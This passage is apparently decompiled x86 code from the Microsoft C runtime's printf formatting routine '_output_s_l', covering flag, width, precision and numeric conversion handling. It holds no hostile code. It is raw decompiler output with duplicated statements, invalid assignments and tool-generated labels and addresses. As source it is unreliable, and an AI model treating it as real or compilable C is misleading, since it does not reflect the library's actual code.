									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00430830(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E004308B0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C5E0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435610))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E004312C0( *(_t701 - 0x251) & 0x000000ff, E0041AEF0(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435720( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00435720( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E420();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422F10(_t616))) = 0x16;
																									E00422CA0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041AEC0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x435648; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435630))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x435670; // 0x4e7e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043565C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E420();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422F10(_t618))) = 0x16;
																						E00422CA0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041AEC0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BD60(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E420();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041AEC0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422F10(_t605))) = 0x16;
																				E00422CA0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041AEC0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E004357C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E00435800( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E004357C0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E00435800( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E004342D0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00435800( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E004357C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x4356dc; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004356A0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428400(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xd5b65caa
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xd44284aa
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xd44114aa
																							E00424760(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428400(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428440(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428400(__ebp + 0x14);
																			if(E00433FB0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E420();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
